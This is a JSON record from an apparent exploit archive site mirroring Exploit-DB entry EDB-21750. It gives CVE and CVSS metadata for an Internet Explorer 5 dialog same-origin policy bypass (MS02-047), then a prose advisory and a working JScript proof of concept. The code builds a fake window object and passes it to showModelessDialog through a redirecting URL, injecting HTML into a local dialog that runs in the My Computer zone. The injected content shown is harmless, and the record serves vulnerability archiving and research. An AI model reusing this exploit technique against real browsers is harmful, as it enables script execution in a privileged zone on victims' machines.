{"exploit":{"id":"EDB-21750","name":"Microsoft Internet Explorer 5 - Dialog Same Origin Policy Bypass Variant (MS02-047)","description":"Microsoft Internet Explorer 5 - Dialog Same Origin Policy Bypass Variant (MS02-047)","cves":["CVE-2002-0189"],"author":"GreyMagic Software","published":"2002-04-16","platform":"windows","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21750","path":"exploits/windows/remote/21750.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21750.txt","vulnerabilities":[{"id":"CVE-2002-0189","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site scripting vulnerability in Internet Explorer 6.0 allows remote attackers to execute scripts in the Local Computer zone via a URL that exploits a local HTML resource file, aka the \"Cross-Site Scripting in Local HTML Resource\" vulnerability.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-0189","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-0189"},"updatedAt":"2024-08-08T02:42:27.824Z","retrievedAt":"2026-11-27T15:09:25.941Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21750.png?v=2","url":"https://exploitbin.com/exploits/EDB-21750","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21750/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21750/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2002/https://www.securityfocus.com/bid/5561/info\n\nMicrosoft Internet Explorer includes support for dialog windows through script calls to the two functions showModalDialog and showModelessDialog. These functions accept a URL location for the dialog content, and an option argument parameter to allow data to be passed to the dialog from the calling page.\n\nA check is done to ensure that data is only passed to dialogs located in the same domain as the calling page. This prevents a malicious party from injecting content into arbitrary dialogs. However, if the URL provided as the dialog source redirects to a second location, only the first is subject to this security check.\n\nExploitation may allow malicious content to be inserted into sensitive dialogs. Execution of arbitrary script within the Local Computer Zone has been demonstrated.\n\nThis variant is related to the injection of malicious content into the analyze.dlg dialogue included in shdoclc.dll. This issue was originally included in BID 4527, however a new entry has been allocated to cover the patch released in Microsoft advisory MS02-047.\n\n<script language=\"jscript\">\n// HTML to be injected (will run in the \"My Computer\" zone)\nvar sHTML=\"<b>We're in!</b>\";\n\n// Object to return from tags(\"link\"), must be a function because they use\n// objects(i) instead of objects[i], VB style collection access.\nfunction oExploit(iSec) {\n    return {\n        // Satisfy line 201\n        rel:\"stylesheet\",\n\n        // Satisfy line 204\n        readyState:\"exploit\",\n\n        // Exploit line 205\n        href:sHTML\n    };\n}\n\n// A length property so it will enter the loop\noExploit.length=1;\n\n// A fake window object, so no errors will be raised during the process,\n// the custom \"tags\" method will return an empty array for any element\n// other than our target (<link>), in which case it will return the oExploit\n// object above.\nvar oSecurity={\n    document:{\n        all:{\n            tags:function (sTag) {\n                return sTag==\"link\" ? oExploit : [];\n            }\n        }\n    }\n}\n\n// Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg\n// and oSecurity (fake window) is sent as the dialog argument.\nshowModelessDialog(\"getFile.asp\",oSecurity);\n</script>","sha256":"349d4d873c7ae162905ccd8c26fab3aa5b8419ca7f80d3713ef551d06505ff7f","bytes":2272,"fetchedAt":"2026-11-27T15:09:21.164Z","encoding":"utf-8 (display only; download retains original bytes)"}